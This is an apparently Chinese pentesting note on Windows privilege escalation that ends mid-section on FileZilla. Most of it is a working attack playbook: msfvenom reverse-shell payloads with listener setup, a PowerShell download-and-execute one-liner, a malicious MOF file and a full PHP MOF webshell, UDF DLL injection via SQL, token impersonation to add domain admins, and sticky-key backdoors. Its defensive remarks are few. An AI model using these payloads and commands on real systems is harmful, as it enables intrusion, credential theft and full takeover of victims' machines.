系统提权之:Windows 提权

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Windows 提权

前提:已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统

user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user 被 administrator 包含)
当获得 user 提权为 administrator
当获得 administrator 提权为system

生成个木马
msfvenom -a x86 --platform windows -p windows/x86/shell/reverse_tcp LHOST=192.168.0.2 -b '\x00' -f exe -o evil.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -a x64 -f exe > Desktop/evil.exe

1 利用漏洞提权

1.1 手工查找系统缺失补丁

  1. 确认当前系统权限

    • whoami /groups
      • Mandatory Label\Medium Mandatory Level:标准用户
      • Mandatory Label\High Mandatory Level:管理员用户

    image-20211019220828775

  2. 查找当前系统安装过的补丁

    • wmic qfe get

    • systeminfo

      image-20211019221758750

1.2 Windows 补丁审计工具

1.2.1 Windows-Exploit-Suggester

AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. (github.com)

SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)

利用前提

  • python2 环境
# 安装 xlrd 库
pip2 install xlrd --upgrade

# update the database
./windows-exploit-suggester.py -u

# 导出靶机系统信息到本地
systeminfo > systeminfo.txt

# 查找可以利用的漏洞
./windows-exploit-suggester.py --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt

# 查找可以利用本地提权的漏洞
./windows-exploit-suggester.py -a -l --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt

# 如果没有打补丁,就会显示可以利用的 ms 编号、 exp 的地址和描述

1.2.2 Sherlock

rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (github.com)

import-module .\Sherlock.ps1
Find-AllVulns

image-20211019231550722

1.3 MSF 模块查找可利用漏洞

post/multi/recon/local_exploit_suggester

2 利用 Windows 配置错误提权

2.1 系统服务权限配置错误

  1. 服务未运行:利用任意服务替换原来的服务,然后重启服务。
  2. 服务正运行且无法终止:利用 DLL 劫持技术并尝试重启服务来提权。

2.1.1 利用 PowerUp 进行本地提权:

# 下载到本地后执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

# 远程下载执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

image-20211102105553200

如图说了利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个c#服务来添加一个用户

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Install-ServiceBinary -ServiceName 'rpcapd' -UserName test -Password test

“Everyone” 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。

2.1.2 MSF 中的 service_permissions 提权

MSF 中对应的模块为: exploit/windows/local/service_permissions

image-20211102111001254

2.2 注册表键 AlwaysInstallElevated

注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer) 文件。

# 开启 AlwaysInstallElevated 功能
打开 gpedit.msc,组策略-计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
打开 gpedit.msc,组策略-用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用

# CMD 下开启 AlwaysInstallElevated 功能
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
  • 利用 PowerUP 的 Get-RegAlwaysInstallElevated 模块来检查注册表键是否被设置。
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegAlwaysInstallElevated”

image-20211102112506430

  • 添加账户:利用 Write-UserAddMSI 模块,生成 MSI 文件。再以普通用户权限运行 UserAdd.msi,添加一个管理员账户

image-20211102113536603

image-20211102113603726

  • MSF 中对应的模块为:exploit/windows/local/always_install_elevated
  • 防御:只要禁用注册表键 AlwaysInstallElevated,就可以阻止攻击者通过 MSI 文件进行提权。

2.3 可信任服务路径漏洞

windows服务通常都是以 System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行解析。如果一个被恶意命名的执行程序被上传到受影响的目录中,服务一旦重启,就有机会进行权限提升为 System 权限。

例如,有如下的文件路径:
C:\Program Files\Some Folder\Service.exe
对于上面文件路径中的每一个空格,windows 都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
  • 检测目标机器是否存在可信服务路径漏洞

    # 使用 wmic 列出没有被引号所引起来的服务路径
    wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
    
  • 检查存在漏洞的目录是否有写入的权限

    利用 Windows内建工具:icacls,下面我们用这个工具依次来检查“C:\Program Files”、“C:\Program Files\Common Files”、“C:\Program Files\Common Files\microsoftshared”等目录的权限。
    
    参数说明:
    “Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
    “M”表示修改
    “F”代表完全控制
    “CI”代表从属容器将继承访问控制项
    “OI”代表从属文件将继承访问控制项。
    
    Everyone:(OI)(CI)(F)意味着对该目录有读,写,删除其下的文件,删除其子目录的权限。
    

    img

  • 利用漏洞:将要上传的程序重命名并放置在存在此漏洞且可写的目录下,并尝试重启服务进行提权。

  • MSF 对应模块:exploit/windows/local/unquoted_service_path

2.4 自动安装配置文件

网络管理员在内网中给多台计算器配置同一个环境时,通常会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等。

# 搜索Unattend.xml文件
dir /b /s c:\Unattend.xml

# MSF 中对应模块
post/windows/gather/enum_unattend

3 组策略首选项提权分析及防范

SYSVOL 是活动目录里面的一个用于存储公共文件服务副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL 文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVO L目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies 目录中。

常见的组策略首选项(GPP)

  • 映射驱动器(Drives.xml)
  • 创建本地用户
  • 数据源(DataSources.xml)
  • 打印机配置(Printers.xml)
  • 创建/更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)

3.1 利用组策略批量修改域中机器本地管理员密码

组策略管理-林:test.lab-域-test.lab-右键:Default Domain Policy
组策略编辑器-计算机配置-首选项-控制面板设置-本地用户和组
本地用户和组-右键:新建-本地用户-配置如下图

将 Domain Computer 组添加到验证组策略对象列表中,将新建的组策略应用到域中所有的非域控制器中

手动更新组策略的更新信息
C:\Users\administrator>gpupdate

image-20211102223620685

image-20211102224406033

3.2 获取组策略的凭据

管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。

# 手动查找 cpassword
\\test.lab\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
python Gpprefdecrypt.py A48HwlVXS/3M2Asazld/dz+ATwKowJVcVhIM67sfhO8

# PowerSploit
Import-Module .\PowerSploit.psd1
Get-GPPPassword

# MSF 
利用 post/windows/gather/credentials/gpp 模块进行自动查找

# 其他组策略首选项中可选的 cpassword 属性
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

image-20211102224850160

image-20211102223651650

3.3 防御组策略首选项提权

  • 设置共享文件夹的 SYSVOL 的访问权限
  • 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
  • 不要将密码放在所有域用户都有权限访问的文件中
  • 建议使用 LAPS 进行更改域中机器的本地管理员密码

4 绕过 UAC 提权

4.1 获取 system 账号权限:

  • 提权失败,一般是由于 UAC 限制

image-20211103095848604

4.2 绕过 UAC 限制方式

# 通过不停的弹出UAC窗口,让没有安全意识的人选择yes。
use exploit/windows/local/ask
set filename update.exe
set session 1

# 在用户不知情的情况下关闭 UAC
use exploit/windows/local/bypassuac

# bypassuac_injection
use exploit/windows/local/bypassuac_injection
set target 1
set payload windows/x64/meterpreter/reverse_tcp
# 64 位的只能用 64 位的 payload,使用 86 的会报错
[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System

5 使用 tokens 攻击域控制器

令牌(Token) 就是系统的临时密钥,相当于账号和密码,用于决定是否允许这次请求及判断当前请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性和不可预测性,一般的攻击无法将令牌猜测出来。tokens 攻击的核心是 Kerberos 协议。

Kerberos工作机制

客户端请求证书的过程如下所示。

  • 客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
  • AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket (包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,session key) 。当然,认证服务器也会给服务器发送一份该证书,使服务器可以认证登录客户端的身份。
  • 客户端将ticket传到服务器上,如果服务器确认该客户端身份,便允许它登录服务器。
  • 客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。
  • 用户每次登录,账号绑定临时的tokens,访问资源时提交 tokens 进行身份验证,类似于 web cookies。delegate tokens 账号注销后变为 Impersonate Token,权限依然有效(delegate tokens:交互登录会话,impersonate tokens:非交互登录会话)。

5.1 Tokens 攻击过程

  1. tokens 攻击需要拥有目标主机的 getsystem 权限,本地普通权限用户需要先取得本地权限

  2. 加载模块,并查看当前主机中的 tokens

    load incognito
    list_tokens -u
    
  3. 域管理员没有登陆目标设备时

    域管理员没有登陆目标设备时

  4. 通过域控制器访问共享目录,创建一个Token:\\192.168.10.22\C$

    image-20211104100957872

  5. 窃取 Token: impersonate_token LAB\\administrator

    image-20211104101038096

  6. 使用 LAB\administrator 用户开启 CMD:execute -f cmd.exe -i -t (-i,直接进入cmd,执行交互; -t:使用当前假冒tokens执行程序)

    image-20211104101043426

  7. 添加域管理员

    net user admin1 Admin123 /ad /domain
    net group "domain admins" admin1 /ad /domain
    

6 Windows 服务器提权

6.1 IIS 中的权限简介

在渗透测试中 ,我们获取的权限是 iis_user 用户组 ,要更高的权限就需要把当前的用户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中,扩大范围测试。

6.1.1 IIS 特性

  • IIS 中默认文件上传大小不能超过 200k, 否则会报错。

6.1.2 IIS 中的权限

Windows 中 权限大小为:aspx->php=>asp

  • aspx 默认能执行终端命令;

  • php 和 asp 在 wscript.shell 命令行执行组件没有删除的情况下,可以通过上传 cmd 到可执行目录,执行终端命令。

    image-20210711151937220

6.2 Windws 服务器溢出提权

利用 F4ck 的 pe.asp 进行 Windws 溢出提权

6.2.1 利用前提

  1. 目标主机存在 webshell 并且可以执行终端命令
  2. 上传溢出 EXP:IIS6.0-pe-exp.exe
  3. 执行命令

6.2.2 EXP 利用

6.2.2.1 ASP webshell

webshell.asp,密码:F4ck

  1. 访问webshell.asp,上传 cmd.exe 到可执行目录下如:C:\RECYCLER\

    image-20210711153628988

  2. 测试执行 cmd 命令

    image-20210711153840187

  3. 上传溢出 EXP 到可执行目录:IIS6.0-pe-exp.exe(注意 IIS 中默认文件上传大小不能超过 200k,超过要以其他方式进行上传。)

  4. 利用 EXP 提权:

    C:\RECYCLER\IIS6.0-pe-exp.exe "net user test 123456 /add & net localgroup administrators test /add"
    

    image-20210711154449964

    image-20210711154912417

6.2.2.2 ASPX webshell

webshell.aspx,密码:admin

  1. 访问 webshell.aspx,点击 Cmd Shell, 测试执行系统命令

    image-20210711184929880

    当拥有更大的权限时,还可以点击 IIS Spy 查看 IIS_USER 与 IIS_PASS

  2. 上传 EXP 文件到可执行目录::IIS6.0-pe-exp.exe

    image-20210711185837595

  3. 利用 EXP 提权:

    /c c:/recycler/IIS6.0-pe-exp.exe whoami
    

    image-20210711190149306

6.3 WinServer 2008 溢出提权

6.3.1 利用前提

  1. 目标主机存在 WebShell:webshell.aspx
  2. 在 WinServer 2008 R2 中 服务器默认是支持 aspx 的。aspx 默认能执行终端命令。
  3. 上传溢出 EXP:CVE-2014-4113-Exploit
  4. 执行命令

6.3.2 EXP 利用

webshell.aspx,密码:admin

  1. 访问 webshell.aspx,点击 Cmd Shell, 查看当前系统与所对应的权限

    whoami
    systeminfo
    
  2. 在 File Manager 中上传 EXP 文件到可执行目录::CVE-2014-4113-Exploit

    可以通过访问上传 getexecutedir.aspx 文件,查找可执行目录

    c:\inetpub\wwwroot\pe.lab.com
    
  3. 利用 EXP 提权:

    在 CmdShell 标签中执行

    /c c:\inetpub\wwwroot\target_sys.com\Win64.exe whoami
    

6.4 SQLServer 提权

如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。

注:获得的可能是普通用户权限,此时还需要配合其他方式如:溢出 exp 进行提权。

6.4.1 通过 webshell 查找可能存在用户信息的文件

webshell.aspx,密码:admin

  • web.config
  • config.asp
  • conn.aspx
  • database.aspx
  • index.apsx

image-20210711201935815

6.4.2 连接 MSsql 数据库

server=localhost,1433;UID=sa;PWD=123456;database=master

image-20210711202107498

6.4.3 命令执行

# 命令执行示例:
# xp_cmdshell
Exec master.dbo.xp_cmdshell 'whoami'
Exec master.dbo.xp_cmdshell 'net user test 123456 /add & net localgroup administrators test /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
# sp_oacreate
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

image-20210711202330938

image-20210711202429355

可以得知当前权限为 network service 普通用户,拥有基础命令操作,可以配合溢出提权进行提权操作。

6.5 DLL 劫持提权

6.5.1 DLL 劫持提权原理

6.5.1.1 Windows 的资源共享机制

  • windows 2000 之前,微软建议多个应用程序共享的任何模块应该放在 C:\Windows 的系统目录中,如:Kernel32.dll。
  • windows 2000 之后,微软建议应用程序将所有文件放到自己的目录并强制系统的加载程序首先从应用程序目录中加载模块,并只有当加载模块无法在应用程序目录中找到,才搜索其他目录。利用此特性,可以使应用程序强制加载指定的 DLL 文件,从而实现 DLL 劫持。

6.5.1.2 DLL 劫持

Windows 的资源共享机制,即操作系统加载程序首先从应用程序目录中加载模块特性,在注册表中也有体现:

  • HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
    • 如果为1:搜索顺序为:应用程序所在目录 -> 系统目录(用 GetSystemDirectory 获取) -> 16 位系统目录 -> Windows 目录(用 GetWindowsDirectory 获取) -> 运行程序的当前目录 -> PATH环境变量,
    • 如果为0:搜索顺序为:应用程序所在目录 -> 运行程序的当前目录 -> 系统目录(用 GetSystemDirectory 获取) -> 16 位系统目录 -> Windows 目录(用 GetWindowsDirectory 获取) -> PATH 环境变量。
    • Windows Server 2003 默认值为 1,Windows XP/2000 默认值为 0 或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的 DLL。如果这个 DLL 和系统目录下的某个 DLL 同名,导出表也相同,功能就是加载系统目录下的那个 DLL,并且将导出表转发到那个真实的 DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的 DLL,再将其放在可执行文件的目录即可轻松实现 DLL劫持了。

6.5.1.3 DLL 劫持实现

以劫持 LPK.DLL 文件为例:通过编程来实现一个 LPK.DLL 文件,它与系统目录下的 LPK.DLL 导出表相同,并能加载系统目录下的 LPK.DLL ,并且能将导出表转发到真实的 LPK.DLL 。可以看出我们要实现的这个 DLL 需求如下:
1、构造一个与系统目录下 LPK.DLL 一样的导出表;
2、加载系统目录下的 LPK.DLL;
3、将导出函数转发到系统目录下的 LPK.DLL 上;
4、在初始化函数中加入我们要执行的代码。

6.5.2 LPK.DLL 劫持提权

利用工具:T00ls Lpk Sethc v4

6.5.2.1 生成 LPK.DLL 模块

  • 设备热键值为:A(65)、B(66)
  • 启动密码:123456
  • 其余默认
  • 点击生成 LPK.DLL 模块

6.5.2.2 利用 LPK.DLL 模块提权

将 LPK.DLL 模块放到开机启动的程序目录下(该程序需要调用 LPK.DLL 模块),当用户重启设备时,可劫持 LPK.DLL 模块。

  • 通过 mstsc 远程连接目标主机

  • 先按 shift 键五次弹出粘滞键窗口

  • 再同时按设置的热键 Ctrl a 和 b 就会弹出后门

    image-20210712103535096

  • 输入密码:123456

    image-20210712103640167

  • 执行命令。

    image-20210712103739018

6.6 MOF 提权

6.6.1 MOF 介绍

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息便可由 WMI 和 Visual Studio Analyzer 使用。

6.6.2 MOF 提权的原理

MOF 是 Windows 系统的一个文件(在 C:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。拥有了 MySQL 的 root 权限后,将改写的 mof 文件上传,这个文件会被服务器每隔 5 秒以 system 权限执行。这个改写的 mof 有一段是 vbs 脚本,这个 vbs 大多数是 cmd 的添加管理员用户的命令。

6.6.3 利用过程

需要 mysql 对 C:/windows/system32/wbem/mof 文件夹具有写的权限。

6.6.3.1 修改 MOF 文件并上传

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add && net localgroup administrators test /add \")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

上传 evil.mof 到可执行目录

C:\Documents and Settings\All Users\Application Data\evil.mof

6.6.3.2 利用 MOF 文件

使用 sql 语句将系统当中默认的 nullevt.mof 给替换掉。进而让系统执行我们这个恶意的 mof 文件。

select load_file('C:\Documents and Settings\All Users\Application Data\evil.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

等待系统执行恶意的 mof 文件后,可以看到系统创建了 test 用户,权限为 administrators 组

6.6.4 利用 mof.php 直接提权

6.6.4.1 webshell

上传以下文件并访问 mof.php 文件

<?php 
$path="c:/ini.txt"; 
session_start(); 
if(!empty($_POST['submit'])){ 
setcookie("connect"); 
setcookie("connect[host]",$_POST['host']); 
setcookie("connect[user]",$_POST['user']); 
setcookie("connect[pass]",$_POST['pass']); 
setcookie("connect[dbname]",$_POST['dbname']); 
echo "<script>location.href='?action=connect'</script>"; 
} 
if(empty($_GET["action"])){ 
?> 

<html> 
<head><title>Win MOF Shell</title></head> 
<body> 
<form action="?action=connect" method="post"> 
Host: 
<input type="text" name="host" value="192.168.1.123:3306"><br/> 
User: 
<input type="text" name="user" value="root"><br/> 
Pass: 
<input type="password" name="pass" value="toor"><br/> 
DB:   
<input type="text" name="dbname" value="mysql"><br/> 
<input type="submit" name="submit" value="Submit"><br/> 
</form> 
</body> 
</html> 

<?php 
exit; 
} 
if ($_GET[action]=='connect') 
{ 
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
echo "<form action='' method='post'>"; 
echo "Cmd:"; 
echo "<input type='text' name='cmd' value='$strCmd'?>"; 
echo "<br>"; 
echo "<br>"; 
echo "<input type='submit' value='Exploit'>"; 
echo "</form>"; 
echo "<form action='' method='post'>"; 
echo "<input type='hidden' name='flag' value='flag'>"; 
echo "<input type='submit'value=' Read  '>"; 
echo "</form>"; 
if (isset($_POST['cmd'])){ 
$strCmd=$_POST['cmd']; 
$cmdshell='cmd /c '.$strCmd.'>'.$path; 
$mofname="c:/windows/system32/wbem/mof/system.mof"; 
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\") 

instance of __EventFilter as \$EventFilter 
{ 
  EventNamespace = \"Root\\\\\\\\Cimv2\"; 
  Name  = \"filtP2\"; 
  Query = \"Select * From __InstanceModificationEvent \" 
      \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \" 
      \"And TargetInstance.Second = 5\"; 
  QueryLanguage = \"WQL\"; 
}; 

instance of ActiveScriptEventConsumer as \$Consumer 
{ 
  Name = \"consPCSV2\"; 
  ScriptingEngine = \"JScript\"; 
  ScriptText = 
  \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\"; 
}; 

instance of __FilterToConsumerBinding 
{ 
  Consumer = \$Consumer; 
  Filter = \$EventFilter; 
};"; 
mysql_select_db($_COOKIE["connect"]["dbname"],$conn); 
$sql1="select '$payload' into dumpfile '$mofname';"; 
if(mysql_query($sql1)) 
  echo "<hr>Execute Successful!<br> Please click the read button to check the  result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error()); 
mysql_close($conn); 
} 

if(isset($_POST['flag'])) 
{ 
  $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
  $sql2="select load_file(\"".$path."\");"; 
  $result2=mysql_query($sql2); 
  $num=mysql_num_rows($result2); 
  while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { 
    echo "<hr/>"; 
    echo '<pre>'. $row[0].'</pre>'; 
  } 
  mysql_close($conn); 
} 
} 
?>

6.6.4.2 执行 Payload

以 root 用户登陆,执行以下语句:

net.exe user test 123456 /add && net localgroup administrators test /add

7 MYSQL UDF提权

MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权

7.1 什么是 UDF

UDF (user defined function),即用户自定义函数。根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数。

7.2 利用方式

原理:通过自定义库函数来实现执行任意的程序

前提: 在 mysql 库下必须有 func 表,并且在 ‑‑skip‑grant‑tables 开启的情况下,UDF 会被禁止;

利用途径: 通过获得的插件库路径,找对应操作系统的 udf 库文件,利用 udf 库文件加载函数并执行命令

# 查看  secure_file_priv  的值
show global variables like 'secure%';
`secure_file_priv`  参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
    - NULL :默认,表示限制 Mysql 不允许导入导出。 
    - /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
    - 空值:表示不限制 Mysql  的导入|导出
# 若没有权限导出时报错如下:
# 需要在my.ini 的 [mysqld] 下添加:secure-file-priv=
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

# 没有 plugin 文件夹时报错如下:
# 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
# 当 MySQL> 5.1 版本时,将 .dll 文件导入到 C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll 目录下 (lib\plugin目录默认不存在,需自行创建)。
Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin\moonudf.dll' (Errcode: 2)

# 获取插件库路径
mysql> show variables like "%plugin%";

# 查看系统构架
mysql> show variables like "%compile%";

# 找对应操作系统的 payload 库文件
可以去 kali 中/usr/share/metasploit-framework/data/exploits/mysql/ 下载对应的文件

# 将dll文件写入 plugin 目录,并且创建函数
创建一个表并将二进制数据插入到十六进制编码流中。可以通过insert语句或将其分解为多个部分,然后使用 update 语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll";

# 创建函数 sys_eval
# 引入的函数是 sys_eval
# shared_library_name(共享包名称): udf.dll
create function sys_eval returns string soname 'udf.dll';
#查看创建的sys_eval函数
select * from mysql.func where name = 'sys_eval';

# 使用系统命令
# 将 udf.dll 文件写入 plugin 目录后,便可以使用 sys_eval 函数
select sys_eval('whoami');

8 zend 提权

测试 php 版本 5.2.17

8.1 利用原理

Zend是 php 的引擎(虚拟机解释器)实现先编译再执行。安装 Zend 后,Zend 会自动配置目录权限,当C:\Program Files\Zend\ZendOptimizer-3.3.3\下的目录权限为 Everyone 全权,这导致入侵者能写入文件。如果 ZendExtensionManager.dll 权限可以修改,那就可以用其他恶意的 dll 文件替换 ZendExtensionManager.dll 文件。

当 iis6.0 在启动、回收进程重启启动的时,有人访问网站的时候就会加载 ZendExtensionManager.dll 文件

8.2 利用过程:建立远控

8.2.1 查找 ZendExtensionManager.dll 文件目录

上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机 ZendExtensionManager.dll 文件与目录具有可读可写权限

https://dwd.jb51.net/201111/yuanma/asp_rw_cx.rar

8.2.2 生成恶意文件

利用工具:Zend_DLL_Hijacking_for_nc.exe、cmd.exe、nc.exe

image-20210717190928823

8.2.3 利用恶意文件

  1. 重命名靶机的 ZendExtensionManager.dll 文件名为old.dll
  2. 在目标主机 ZendExtensionManager.dll 所在的文件夹上传工具所生成的 ZendExtensionManager.dll 、 nc.exe 、cmd.exe 三个文件
  3. 重启靶机,访问靶机的 php 页面,触发 payload 加载。
  4. 使用本地主机 telnet 远程连接靶机

8.3 利用过程:执行恶意软件

8.3.1 查找 ZendExtensionManager.dll 文件目录

上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机 ZendExtensionManager.dll 文件与目录具有可读可写权限

https://dwd.jb51.net/201111/yuanma/asp_rw_cx.rar

8.2.2 生成恶意文件

利用工具:Zend_DLL_Hijacking.exe、bak.exe(恶意软件)

image-20210717205402650

8.2.3 利用恶意文件

  1. 重命名靶机的 ZendExtensionManager.dll 文件名为old.dll
  2. 在目标主机 ZendExtensionManager.dll 所在的文件夹上传工具所生成的 ZendExtensionManager.dll 、 bak.exe 两个文件
  3. 重启靶机,访问靶机的 php 页面,触发 payload 加载。
  4. 使用本地主机 telnet 远程连接靶机

8.2.4 使用 Kali 制作后门软件

# 制作后门软件,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=9999 -f exe > bak.exe

# 本地监听端口
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.128
set lport 9999
run

9 FileZilla 提权

FileZilla 是一款开源的 FTP 服务器和客户端软件,若安装了服务器端默认侦听 127.0.0.1:14147 ,默认安装目录下有两个敏感文件 FileZilla Server Interface.xml、FileZilla Server.xml

9.1 利用原理

  1. 下载 FileZilla Server Interface.xml、FileZilla Server.xml 文件,获得管理员密码;
  2. 配置端口转发,远程管理 ftpserver
  3. 创建 ftp 用户,分配权限,设置家目录为 C:\
  4. 使用 cmd.exe 改名为 sethc,exe 替换 C:\windows\system32\sethc.exe 生成 shift 后门
  5. mstsc 连接 3389 按 5 次 shift 调出 cmd.exe

9.2 利用过程

9.2.1 查看敏感文件

通过 webshell 查找 FileZilla Server Interface.xml、FileZilla Server.xml 文件,一般在目录 C:\Program Files\FileZilla Server\ 中。

image-20210717210703893

查看敏感信息:从以下图片中可以看出,密码为:123456,FileZilla 侦听的地址为:127.0.0.1:14147

image-20210717205315680

9.2.2 配置端口转发

利用工具:lcx 端口转发工具

由于 FileZilla 使用的是本地的 14147 端口,我们需要利用 lcx.exe 配置端口转发将本地的 14147 端口转发到 14148 端口

  1. 通过 webshell 将 lcx.exe 上传到可执行目录下。

  2. 通过 webshell 执行以下命令,配置端口转发。

    lcx.exe -tran 14148 127.0.0.1 14147
    

    image-20210717212246055

  3. 远程管理 ftpserver,下载 FileZilla 并远程登录靶机 ftpserver

    image-20210717214351631

9.2.3 创建 ftp user 并分配权限

